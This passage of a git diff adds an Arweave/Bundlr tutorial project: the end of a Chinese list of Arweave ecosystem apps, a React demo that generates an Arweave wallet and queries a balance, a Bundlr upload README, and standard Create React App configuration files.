++ Koii.network：Koii 协议跟踪开放互联网上的注意力以公平地奖励有价值的内容，并且 Koii 节点网络提供了更快、更便宜和更有价值的方式来构建交叉兼容、与链无关的去中心化应用程序
++ $KYVE：存储任何数据流的倡议，具有内置验证
++ 通过利用 Arweave 区块链，我们可以永久且不可变地存储这些数据
++ Mirror.xyz：镜像是符号通信悠久历史中的下一个重大变化
++ 通过分散的、用户拥有的、基于加密的网络，Mirror 的发布平台彻底改变了我们表达、分享和货币化思想的方式
++ Nest.land：Nest.land 结合了 Deno 和 Arweave
++ 有了我们，你可以将你的 Deno 模块发布到 permaweb，在那里它们永远不会被删除
++ 这避免了基于 Web 的模块导入的重大缺陷，同时允许开发人员利用 Deno 的导入设计！
++ Sarcophagus: A Decentralized Dead Man's Switch - 基于以太坊和 Arweave 的自主激励应用程序
++ Verto.exchange：Verto 是建立在 Arweave 之上的去中心化交易协议,在 Arweave 上交换任何东西
++ Arweave.app：arweave 网络钱包是从浏览器管理代币、上传永久数据以及与 weave 交互的工具
+
+
+### Reference: [Arwiki](https://arwiki.wiki/#/en/main)
+### 其他参考：[Arweave：一场永久存储的实验](https://mp.weixin.qq.com/s/6Hg35NGXITo2V99tfpXYlQ)
diff --git a/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/.gitignore b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/.gitignore
new file mode 100644
index 000000000..4d29575de
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/.gitignore
@@ -0,0 +1,23 @@
+# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.
+
+# dependencies
+/node_modules
+/.pnp
+.pnp.js
+
+# testing
+/coverage
+
+# production
+/build
+
+# misc
+.DS_Store
+.env.local
+.env.development.local
+.env.test.local
+.env.production.local
+
+npm-debug.log*
+yarn-debug.log*
+yarn-error.log*
diff --git a/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/README.md b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/README.md
new file mode 100644
index 000000000..58beeaccd
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/README.md
@@ -0,0 +1,70 @@
+# Getting Started with Create React App
+
+This project was bootstrapped with [Create React App](https://github.com/facebook/create-react-app).
+
+## Available Scripts
+
+In the project directory, you can run:
+
+### `npm start`
+
+Runs the app in the development mode.\
+Open [http://localhost:3000](http://localhost:3000) to view it in your browser.
+
+The page will reload when you make changes.\
+You may also see any lint errors in the console.
+
+### `npm test`
+
+Launches the test runner in the interactive watch mode.\
+See the section about [running tests](https://facebook.github.io/create-react-app/docs/running-tests) for more information.
+
+### `npm run build`
+
+Builds the app for production to the `build` folder.\
+It correctly bundles React in production mode and optimizes the build for the best performance.
+
+The build is minified and the filenames include the hashes.\
+Your app is ready to be deployed!
+
+See the section about [deployment](https://facebook.github.io/create-react-app/docs/deployment) for more information.
+
+### `npm run eject`
+
+**Note: this is a one-way operation. Once you `eject`, you can't go back!**
+
+If you aren't satisfied with the build tool and configuration choices, you can `eject` at any time. This command will remove the single build dependency from your project.
+
+Instead, it will copy all the configuration files and the transitive dependencies (webpack, Babel, ESLint, etc) right into your project so you have full control over them. All of the commands except `eject` will still work, but they will point to the copied scripts so you can tweak them. At this point you're on your own.
+
+You don't have to ever use `eject`. The curated feature set is suitable for small and middle deployments, and you shouldn't feel obligated to use this feature. However we understand that this tool wouldn't be useful if you couldn't customize it when you are ready for it.
+
+## Learn More
+
+You can learn more in the [Create React App documentation](https://facebook.github.io/create-react-app/docs/getting-started).
+
+To learn React, check out the [React documentation](https://reactjs.org/).
+
+### Code Splitting
+
+This section has moved here: [https://facebook.github.io/create-react-app/docs/code-splitting](https://facebook.github.io/create-react-app/docs/code-splitting)
+
+### Analyzing the Bundle Size
+
+This section has moved here: [https://facebook.github.io/create-react-app/docs/analyzing-the-bundle-size](https://facebook.github.io/create-react-app/docs/analyzing-the-bundle-size)
+
+### Making a Progressive Web App
+
+This section has moved here: [https://facebook.github.io/create-react-app/docs/making-a-progressive-web-app](https://facebook.github.io/create-react-app/docs/making-a-progressive-web-app)
+
+### Advanced Configuration
+
+This section has moved here: [https://facebook.github.io/create-react-app/docs/advanced-configuration](https://facebook.github.io/create-react-app/docs/advanced-configuration)
+
+### Deployment
+
+This section has moved here: [https://facebook.github.io/create-react-app/docs/deployment](https://facebook.github.io/create-react-app/docs/deployment)
+
+### `npm run build` fails to minify
+
+This section has moved here: [https://facebook.github.io/create-react-app/docs/troubleshooting#npm-run-build-fails-to-minify](https://facebook.github.io/create-react-app/docs/troubleshooting#npm-run-build-fails-to-minify)
diff --git a/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/package.json b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/package.json
new file mode 100644
index 000000000..a1f718f15
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/package.json
@@ -0,0 +1,39 @@
+{
+  "name": "arweb",
+  "version": "0.1.0",
+  "private": true,
+  "dependencies": {
+    "@testing-library/jest-dom": "^5.16.1",
+    "@testing-library/react": "^12.1.2",
+    "@testing-library/user-event": "^13.5.0",
+    "antd": "^4.18.3",
+    "react": "^17.0.2",
+    "react-dom": "^17.0.2",
+    "react-scripts": "5.0.0",
+    "web-vitals": "^2.1.2"
+  },
+  "scripts": {
+    "start": "react-scripts start",
+    "build": "react-scripts build",
+    "test": "react-scripts test",
+    "eject": "react-scripts eject"
+  },
+  "eslintConfig": {
+    "extends": [
+      "react-app",
+      "react-app/jest"
+    ]
+  },
+  "browserslist": {
+    "production": [
+      ">0.2%",
+      "not dead",
+      "not op_mini all"
+    ],
+    "development": [
+      "last 1 chrome version",
+      "last 1 firefox version",
+      "last 1 safari version"
+    ]
+  }
+}
diff --git a/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/public/favicon.ico b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/public/favicon.ico
new file mode 100644
index 000000000..a11777cc4
Binary files /dev/null and b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/public/favicon.ico differ
diff --git a/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/public/index.html b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/public/index.html
new file mode 100644
index 000000000..aa069f27c
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/public/index.html
@@ -0,0 +1,43 @@
+<!DOCTYPE html>
+<html lang="en">
+  <head>
+    <meta charset="utf-8" />
+    <link rel="icon" href="%PUBLIC_URL%/favicon.ico" />
+    <meta name="viewport" content="width=device-width, initial-scale=1" />
+    <meta name="theme-color" content="#000000" />
+    <meta
+      name="description"
+      content="Web site created using create-react-app"
+    />
+    <link rel="apple-touch-icon" href="%PUBLIC_URL%/logo192.png" />
+    <!--
+      manifest.json provides metadata used when your web app is installed on a
+      user's mobile device or desktop. See https://developers.google.com/web/fundamentals/web-app-manifest/
+    -->
+    <link rel="manifest" href="%PUBLIC_URL%/manifest.json" />
+    <!--
+      Notice the use of %PUBLIC_URL% in the tags above.
+      It will be replaced with the URL of the `public` folder during the build.
+      Only files inside the `public` folder can be referenced from the HTML.
+
+      Unlike "/favicon.ico" or "favicon.ico", "%PUBLIC_URL%/favicon.ico" will
+      work correctly both with client-side routing and a non-root public URL.
+      Learn how to configure a non-root public URL by running `npm run build`.
+    -->
+    <title>React App</title>
+  </head>
+  <body>
+    <noscript>You need to enable JavaScript to run this app.</noscript>
+    <div id="root"></div>
+    <!--
+      This HTML file is a template.
+      If you open it directly in the browser, you will see an empty page.
+
+      You can add webfonts, meta tags, or analytics to this file.
+      The build step will place the bundled scripts into the <body> tag.
+
+      To begin the development, run `npm start` or `yarn start`.
+      To create a production bundle, use `npm run build` or `yarn build`.
+    -->
+  </body>
+</html>
diff --git a/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/public/manifest.json b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/public/manifest.json
new file mode 100644
index 000000000..080d6c77a
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/public/manifest.json
@@ -0,0 +1,25 @@
+{
+  "short_name": "React App",
+  "name": "Create React App Sample",
+  "icons": [
+    {
+      "src": "favicon.ico",
+      "sizes": "64x64 32x32 24x24 16x16",
+      "type": "image/x-icon"
+    },
+    {
+      "src": "logo192.png",
+      "type": "image/png",
+      "sizes": "192x192"
+    },
+    {
+      "src": "logo512.png",
+      "type": "image/png",
+      "sizes": "512x512"
+    }
+  ],
+  "start_url": ".",
+  "display": "standalone",
+  "theme_color": "#000000",
+  "background_color": "#ffffff"
+}
diff --git a/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/src/App.css b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/src/App.css
new file mode 100644
index 000000000..74b5e0534
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/src/App.css
@@ -0,0 +1,38 @@
+.App {
+  text-align: center;
+}
+
+.App-logo {
+  height: 40vmin;
+  pointer-events: none;
+}
+
+@media (prefers-reduced-motion: no-preference) {
+  .App-logo {
+    animation: App-logo-spin infinite 20s linear;
+  }
+}
+
+.App-header {
+  background-color: #282c34;
+  min-height: 100vh;
+  display: flex;
+  flex-direction: column;
+  align-items: center;
+  justify-content: center;
+  font-size: calc(10px + 2vmin);
+  color: white;
+}
+
+.App-link {
+  color: #61dafb;
+}
+
+@keyframes App-logo-spin {
+  from {
+    transform: rotate(0deg);
+  }
+  to {
+    transform: rotate(360deg);
+  }
+}
diff --git a/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/src/App.js b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/src/App.js
new file mode 100644
index 000000000..6ee4cb9bd
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/src/App.js
@@ -0,0 +1,109 @@
+import './App.css';
+import 'antd/dist/antd.css';
+import Arweave from 'arweave';
+import { Button, notification, Divider, Space } from 'antd';
+import {
+  RadiusUpleftOutlined,
+  RadiusUprightOutlined,
+  RadiusBottomleftOutlined,
+  RadiusBottomrightOutlined,
+} from '@ant-design/icons';
+
+// const Arweave = require('arweave');
+
+// const arweave = Arweave.init({
+//   host: '127.0.0.1',
+//   port: 1984,
+//   protocol: 'http'
+// });
+
+const arweave = Arweave.init({
+  host: 'arweave.net',
+  port: 443,
+  protocol: 'https'
+});
+
+const openNotification = placement => {
+  notification.info({
+    message: `Notification ${placement}`,
+    description:
+      'This is the content of the notification. This is the content of the notification. This is the content of the notification.',
+    placement,
+  });
+};
+
+let myKey = localStorage.getItem("myKey")
+let myWallet = localStorage.getItem("myWallet")
+
+function App() {
+
+  function generate_new_key() {
+    arweave.wallets.generate().then((key) => {
+      console.log(key);
+      // {
+      //     "kty": "RSA",
+      //     "n": "3WquzP5IVTIsv3XYJjfw5L-t4X34WoWHwOuxb9V8w...",
+      //     "e": ...
+      myWallet = get_key_address(key)
+      localStorage.setItem("myKey", JSON.stringify(key))
+
+      console.log(localStorage.getItem("myKey"))
+      console.log(localStorage.getItem("myWallet"))
+    });
+  }
+
+  function get_key_address(key) {
+    arweave.wallets.jwkToAddress(key).then((address) => {
+      console.log(address);
+      localStorage.setItem("myWallet", JSON.stringify(address))
+      //1seRanklLU_1VTGkEk7P0xAwMJfA7owA1JHW5KyZKlY
+      return address
+    });
+
+  }
+
+  function get_address_balance() {
+    // to go on experiment, I set address as my own wallet address
+    // you can get some ARs to access: https://faucet.arweave.net/
+    // or buy from DEX
+    let address = 'JQ88jkvNSBGKDZZErz2cekh5mA9W3wUGba6YnqcT6p0'
+    arweave.wallets.getBalance(address).then((balance) => {
+      let winston = balance;
+      let ar = arweave.ar.winstonToAr(balance);
+
+      console.log(winston);
+      //125213858712
+
+      console.log(ar);
+      //0.125213858712
+    });
+  }
+
+  const handleGetWallet = () => {
+    // const handleGetWallet = async () => {    
+    if (!myWallet) {
+      generate_new_key()
+    } else {
+      console.log(myWallet)
+      document.getElementById('walletAddress').innerText = "Your wallet address: " + myWallet
+    }
+
+  }
+
+
+  return (
+    <div className="App">
+      <div className="App-header">
+        Arweave Demo 1
+        <Button onClick={handleGetWallet}>{myWallet ? "Wallet OK" : "No Wallet"}</Button><br />
+        <Button onClick={handleGetWallet}>Generate a new Wallet</Button><br />
+        <Button onClick={() => get_address_balance()}>get a Wallet balance</Button><br />
+        <Button type="primary" onClick={() => openNotification('bottomRight')}>Show message</Button>
+        <i id="walletAddress">No address</i>
+      </div>
+    </div>
+  );
+
+}
+
+export default App;
diff --git a/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/src/App.test.js b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/src/App.test.js
new file mode 100644
index 000000000..1f03afeec
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/src/App.test.js
@@ -0,0 +1,8 @@
+import { render, screen } from '@testing-library/react';
+import App from './App';
+
+test('renders learn react link', () => {
+  render(<App />);
+  const linkElement = screen.getByText(/learn react/i);
+  expect(linkElement).toBeInTheDocument();
+});
diff --git a/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/src/index.css b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/src/index.css
new file mode 100644
index 000000000..ec2585e8c
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/src/index.css
@@ -0,0 +1,13 @@
+body {
+  margin: 0;
+  font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen',
+    'Ubuntu', 'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue',
+    sans-serif;
+  -webkit-font-smoothing: antialiased;
+  -moz-osx-font-smoothing: grayscale;
+}
+
+code {
+  font-family: source-code-pro, Menlo, Monaco, Consolas, 'Courier New',
+    monospace;
+}
diff --git a/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/src/index.js b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/src/index.js
new file mode 100644
index 000000000..de46f4ac0
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/src/index.js
@@ -0,0 +1,18 @@
+import React from 'react';
+import ReactDOM from 'react-dom';
+import './index.css';
+import App from './App';
+import reportWebVitals from './reportWebVitals';
+
+
+ReactDOM.render(
+  <React.StrictMode>
+    <App />
+  </React.StrictMode>,
+  document.getElementById('root')
+);
+
+// If you want to start measuring performance in your app, pass a function
+// to log results (for example: reportWebVitals(console.log))
+// or send to an analytics endpoint. Learn more: https://bit.ly/CRA-vitals
+reportWebVitals();
diff --git a/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/src/reportWebVitals.js b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/src/reportWebVitals.js
new file mode 100644
index 000000000..5253d3ad9
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/src/reportWebVitals.js
@@ -0,0 +1,13 @@
+const reportWebVitals = onPerfEntry => {
+  if (onPerfEntry && onPerfEntry instanceof Function) {
+    import('web-vitals').then(({ getCLS, getFID, getFCP, getLCP, getTTFB }) => {
+      getCLS(onPerfEntry);
+      getFID(onPerfEntry);
+      getFCP(onPerfEntry);
+      getLCP(onPerfEntry);
+      getTTFB(onPerfEntry);
+    });
+  }
+};
+
+export default reportWebVitals;
diff --git a/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/src/setupTests.js b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/src/setupTests.js
new file mode 100644
index 000000000..8f2609b7b
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/Arweave-dapp/demo1/arweb/src/setupTests.js
@@ -0,0 +1,5 @@
+// jest-dom adds custom jest matchers for asserting on DOM nodes.
+// allows you to do things like:
+// expect(element).toHaveTextContent(/react/i)
+// learn more: https://github.com/testing-library/jest-dom
+import '@testing-library/jest-dom';
diff --git a/basic/70-arweave-file-upload-with-bundlr/README.md b/basic/70-arweave-file-upload-with-bundlr/README.md
new file mode 100644
index 000000000..b127896ff
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/README.md
@@ -0,0 +1,17 @@
+# Bundlr Network Browser Client Demo
+
+This app demonstrates usage of the [`bundlr-client`](https://github.com/Bundlr-Network/js-client) to upload data
+to the [Bundlr Network](https://bundlr.network) using any `web3provider` exposed by the [Ethers library](https://github.com/ethers-io/ethers.js), including Metamask or WalletConnect.
+
+## Usage
+
+1. Connect Metamask or WalletConnect (ensure your wallet is connected to Polygon)
+2. Provide address of the bundlr network node to connect to and sign the requested message to initiate bundlr network connection
+3. Click "Get Matic Balance" to view your current balance with the selected bundlr network node
+4. Enter an amount (in MATIC) to fund the bundlr with
+5. Select any file from your device to upload to the network
+6. Click "Upload to Bundlr Network" and sign the requested message to initiate an upload.  
+
+## Notes
+
+This app uses [`web3-react`](https://github.com/NoahZinsmeister/web3-react) to connect with Metamask and WalletConnect.  A full explanation of integrating any specific web3 wallet provider can be found there.
\ No newline at end of file
diff --git a/basic/70-arweave-file-upload-with-bundlr/config/env.js b/basic/70-arweave-file-upload-with-bundlr/config/env.js
new file mode 100644
index 000000000..3d1411bd0
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/config/env.js
@@ -0,0 +1,106 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+const paths = require('./paths');
+
+// Make sure that including paths.js after env.js will read .env variables.
+delete require.cache[require.resolve('./paths')];
+
+const NODE_ENV = process.env.NODE_ENV;
+if (!NODE_ENV) {
+  throw new Error(
+    'The NODE_ENV environment variable is required but was not specified.'
+  );
+}
+
+// https://github.com/bkeepers/dotenv#what-other-env-files-can-i-use
+const dotenvFiles = [
+  `${paths.dotenv}.${NODE_ENV}.local`,
+  // Don't include `.env.local` for `test` environment
+  // since normally you expect tests to produce the same
+  // results for everyone
+  NODE_ENV !== 'test' && `${paths.dotenv}.local`,
+  `${paths.dotenv}.${NODE_ENV}`,
+  paths.dotenv,
+].filter(Boolean);
+
+// Load environment variables from .env* files. Suppress warnings using silent
+// if this file is missing. dotenv will never modify any environment variables
+// that have already been set.  Variable expansion is supported in .env files.
+// https://github.com/motdotla/dotenv
+// https://github.com/motdotla/dotenv-expand
+dotenvFiles.forEach(dotenvFile => {
+  if (fs.existsSync(dotenvFile)) {
+    require('dotenv-expand')(
+      require('dotenv').config({
+        path: dotenvFile,
+      })
+    );
+  }
+});
+
+// We support resolving modules according to `NODE_PATH`.
+// This lets you use absolute paths in imports inside large monorepos:
+// https://github.com/facebook/create-react-app/issues/253.
+// It works similar to `NODE_PATH` in Node itself:
+// https://nodejs.org/api/modules.html#modules_loading_from_the_global_folders
+// Note that unlike in Node, only *relative* paths from `NODE_PATH` are honored.
+// Otherwise, we risk importing Node.js core modules into an app instead of webpack shims.
+// https://github.com/facebook/create-react-app/issues/1023#issuecomment-265344421
+// We also resolve them to make sure all tools using them work consistently.
+const appDirectory = fs.realpathSync(process.cwd());
+process.env.NODE_PATH = (process.env.NODE_PATH || '')
+  .split(path.delimiter)
+  .filter(folder => folder && !path.isAbsolute(folder))
+  .map(folder => path.resolve(appDirectory, folder))
+  .join(path.delimiter);
+
+// Grab NODE_ENV and REACT_APP_* environment variables and prepare them to be
+// injected into the application via DefinePlugin in webpack configuration.
+const REACT_APP = /^REACT_APP_/i;
+
+function getClientEnvironment(publicUrl) {
+  const raw = Object.keys(process.env)
+    .filter(key => REACT_APP.test(key))
+    .reduce(
+      (env, key) => {
+        env[key] = process.env[key];
+        return env;
+      },
+      {
+        // Useful for determining whether we’re running in production mode.
+        // Most importantly, it switches React into the correct mode.
+        NODE_ENV: process.env.NODE_ENV || 'development',
+        // Useful for resolving the correct path to static assets in `public`.
+        // For example, <img src={process.env.PUBLIC_URL + '/img/logo.png'} />.
+        // This should only be used as an escape hatch. Normally you would put
+        // images into the `src` and `import` them in code to get their paths.
+        PUBLIC_URL: publicUrl,
+        // We support configuring the sockjs pathname during development.
+        // These settings let a developer run multiple simultaneous projects.
+        // They are used as the connection `hostname`, `pathname` and `port`
+        // in webpackHotDevClient. They are used as the `sockHost`, `sockPath`
+        // and `sockPort` options in webpack-dev-server.
+        WDS_SOCKET_HOST: process.env.WDS_SOCKET_HOST,
+        WDS_SOCKET_PATH: process.env.WDS_SOCKET_PATH,
+        WDS_SOCKET_PORT: process.env.WDS_SOCKET_PORT,
+        // Whether or not react-refresh is enabled.
+        // react-refresh is not 100% stable at this time,
+        // which is why it's disabled by default.
+        // It is defined here so it is available in the webpackHotDevClient.
+        FAST_REFRESH: process.env.FAST_REFRESH !== 'false',
+      }
+    );
+  // Stringify all values so we can feed into webpack DefinePlugin
+  const stringified = {
+    'process.env': Object.keys(raw).reduce((env, key) => {
+      env[key] = JSON.stringify(raw[key]);
+      return env;
+    }, {}),
+  };
+
+  return { raw, stringified };
+}
+
+module.exports = getClientEnvironment;
diff --git a/basic/70-arweave-file-upload-with-bundlr/config/getHttpsConfig.js b/basic/70-arweave-file-upload-with-bundlr/config/getHttpsConfig.js
new file mode 100644
index 000000000..013d493c1
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/config/getHttpsConfig.js
@@ -0,0 +1,66 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+const crypto = require('crypto');
+const chalk = require('react-dev-utils/chalk');
+const paths = require('./paths');
+
+// Ensure the certificate and key provided are valid and if not
+// throw an easy to debug error
+function validateKeyAndCerts({ cert, key, keyFile, crtFile }) {
+  let encrypted;
+  try {
+    // publicEncrypt will throw an error with an invalid cert
+    encrypted = crypto.publicEncrypt(cert, Buffer.from('test'));
+  } catch (err) {
+    throw new Error(
+      `The certificate "${chalk.yellow(crtFile)}" is invalid.\n${err.message}`
+    );
+  }
+
+  try {
+    // privateDecrypt will throw an error with an invalid key
+    crypto.privateDecrypt(key, encrypted);
+  } catch (err) {
+    throw new Error(
+      `The certificate key "${chalk.yellow(keyFile)}" is invalid.\n${
+        err.message
+      }`
+    );
+  }
+}
+
+// Read file and throw an error if it doesn't exist
+function readEnvFile(file, type) {
+  if (!fs.existsSync(file)) {
+    throw new Error(
+      `You specified ${chalk.cyan(
+        type
+      )} in your env, but the file "${chalk.yellow(file)}" can't be found.`
+    );
+  }
+  return fs.readFileSync(file);
+}
+
+// Get the https config
+// Return cert files if provided in env, otherwise just true or false
+function getHttpsConfig() {
+  const { SSL_CRT_FILE, SSL_KEY_FILE, HTTPS } = process.env;
+  const isHttps = HTTPS === 'true';
+
+  if (isHttps && SSL_CRT_FILE && SSL_KEY_FILE) {
+    const crtFile = path.resolve(paths.appPath, SSL_CRT_FILE);
+    const keyFile = path.resolve(paths.appPath, SSL_KEY_FILE);
+    const config = {
+      cert: readEnvFile(crtFile, 'SSL_CRT_FILE'),
+      key: readEnvFile(keyFile, 'SSL_KEY_FILE'),
+    };
+
+    validateKeyAndCerts({ ...config, keyFile, crtFile });
+    return config;
+  }
+  return isHttps;
+}
+
+module.exports = getHttpsConfig;
diff --git a/basic/70-arweave-file-upload-with-bundlr/config/jest/babelTransform.js b/basic/70-arweave-file-upload-with-bundlr/config/jest/babelTransform.js
new file mode 100644
index 000000000..dabf5a8cb
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/config/jest/babelTransform.js
@@ -0,0 +1,29 @@
+'use strict';
+
+const babelJest = require('babel-jest');
+
+const hasJsxRuntime = (() => {
+  if (process.env.DISABLE_NEW_JSX_TRANSFORM === 'true') {
+    return false;
+  }
+
+  try {
+    require.resolve('react/jsx-runtime');
+    return true;
+  } catch (e) {
+    return false;
+  }
+})();
+
+module.exports = babelJest.createTransformer({
+  presets: [
+    [
+      require.resolve('babel-preset-react-app'),
+      {
+        runtime: hasJsxRuntime ? 'automatic' : 'classic',
+      },
+    ],
+  ],
+  babelrc: false,
+  configFile: false,
+});
diff --git a/basic/70-arweave-file-upload-with-bundlr/config/jest/cssTransform.js b/basic/70-arweave-file-upload-with-bundlr/config/jest/cssTransform.js
new file mode 100644
index 000000000..8f6511481
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/config/jest/cssTransform.js
@@ -0,0 +1,14 @@
+'use strict';
+
+// This is a custom Jest transformer turning style imports into empty objects.
+// http://facebook.github.io/jest/docs/en/webpack.html
+
+module.exports = {
+  process() {
+    return 'module.exports = {};';
+  },
+  getCacheKey() {
+    // The output is always the same.
+    return 'cssTransform';
+  },
+};
diff --git a/basic/70-arweave-file-upload-with-bundlr/config/jest/fileTransform.js b/basic/70-arweave-file-upload-with-bundlr/config/jest/fileTransform.js
new file mode 100644
index 000000000..aab67618c
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/config/jest/fileTransform.js
@@ -0,0 +1,40 @@
+'use strict';
+
+const path = require('path');
+const camelcase = require('camelcase');
+
+// This is a custom Jest transformer turning file imports into filenames.
+// http://facebook.github.io/jest/docs/en/webpack.html
+
+module.exports = {
+  process(src, filename) {
+    const assetFilename = JSON.stringify(path.basename(filename));
+
+    if (filename.match(/\.svg$/)) {
+      // Based on how SVGR generates a component name:
+      // https://github.com/smooth-code/svgr/blob/01b194cf967347d43d4cbe6b434404731b87cf27/packages/core/src/state.js#L6
+      const pascalCaseFilename = camelcase(path.parse(filename).name, {
+        pascalCase: true,
+      });
+      const componentName = `Svg${pascalCaseFilename}`;
+      return `const React = require('react');
+      module.exports = {
+        __esModule: true,
+        default: ${assetFilename},
+        ReactComponent: React.forwardRef(function ${componentName}(props, ref) {
+          return {
+            $$typeof: Symbol.for('react.element'),
+            type: 'svg',
+            ref: ref,
+            key: null,
+            props: Object.assign({}, props, {
+              children: ${assetFilename}
+            })
+          };
+        }),
+      };`;
+    }
+
+    return `module.exports = ${assetFilename};`;
+  },
+};
diff --git a/basic/70-arweave-file-upload-with-bundlr/config/modules.js b/basic/70-arweave-file-upload-with-bundlr/config/modules.js
new file mode 100644
index 000000000..d63e41d78
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/config/modules.js
@@ -0,0 +1,134 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+const paths = require('./paths');
+const chalk = require('react-dev-utils/chalk');
+const resolve = require('resolve');
+
+/**
+ * Get additional module paths based on the baseUrl of a compilerOptions object.
+ *
+ * @param {Object} options
+ */
+function getAdditionalModulePaths(options = {}) {
+  const baseUrl = options.baseUrl;
+
+  if (!baseUrl) {
+    return '';
+  }
+
+  const baseUrlResolved = path.resolve(paths.appPath, baseUrl);
+
+  // We don't need to do anything if `baseUrl` is set to `node_modules`. This is
+  // the default behavior.
+  if (path.relative(paths.appNodeModules, baseUrlResolved) === '') {
+    return null;
+  }
+
+  // Allow the user set the `baseUrl` to `appSrc`.
+  if (path.relative(paths.appSrc, baseUrlResolved) === '') {
+    return [paths.appSrc];
+  }
+
+  // If the path is equal to the root directory we ignore it here.
+  // We don't want to allow importing from the root directly as source files are
+  // not transpiled outside of `src`. We do allow importing them with the
+  // absolute path (e.g. `src/Components/Button.js`) but we set that up with
+  // an alias.
+  if (path.relative(paths.appPath, baseUrlResolved) === '') {
+    return null;
+  }
+
+  // Otherwise, throw an error.
+  throw new Error(
+    chalk.red.bold(
+      "Your project's `baseUrl` can only be set to `src` or `node_modules`." +
+        ' Create React App does not support other values at this time.'
+    )
+  );
+}
+
+/**
+ * Get webpack aliases based on the baseUrl of a compilerOptions object.
+ *
+ * @param {*} options
+ */
+function getWebpackAliases(options = {}) {
+  const baseUrl = options.baseUrl;
+
+  if (!baseUrl) {
+    return {};
+  }
+
+  const baseUrlResolved = path.resolve(paths.appPath, baseUrl);
+
+  if (path.relative(paths.appPath, baseUrlResolved) === '') {
+    return {
+      src: paths.appSrc,
+    };
+  }
+}
+
+/**
+ * Get jest aliases based on the baseUrl of a compilerOptions object.
+ *
+ * @param {*} options
+ */
+function getJestAliases(options = {}) {
+  const baseUrl = options.baseUrl;
+
+  if (!baseUrl) {
+    return {};
+  }
+
+  const baseUrlResolved = path.resolve(paths.appPath, baseUrl);
+
+  if (path.relative(paths.appPath, baseUrlResolved) === '') {
+    return {
+      '^src/(.*)$': '<rootDir>/src/$1',
+    };
+  }
+}
+
+function getModules() {
+  // Check if TypeScript is setup
+  const hasTsConfig = fs.existsSync(paths.appTsConfig);
+  const hasJsConfig = fs.existsSync(paths.appJsConfig);
+
+  if (hasTsConfig && hasJsConfig) {
+    throw new Error(
+      'You have both a tsconfig.json and a jsconfig.json. If you are using TypeScript please remove your jsconfig.json file.'
+    );
+  }
+
+  let config;
+
+  // If there's a tsconfig.json we assume it's a
+  // TypeScript project and set up the config
+  // based on tsconfig.json
+  if (hasTsConfig) {
+    const ts = require(resolve.sync('typescript', {
+      basedir: paths.appNodeModules,
+    }));
+    config = ts.readConfigFile(paths.appTsConfig, ts.sys.readFile).config;
+    // Otherwise we'll check if there is jsconfig.json
+    // for non TS projects.
+  } else if (hasJsConfig) {
+    config = require(paths.appJsConfig);
+  }
+
+  config = config || {};
+  const options = config.compilerOptions || {};
+
+  const additionalModulePaths = getAdditionalModulePaths(options);
+
